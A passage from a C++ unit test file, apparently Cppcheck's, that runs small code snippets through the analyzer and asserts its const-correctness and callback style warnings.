g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int 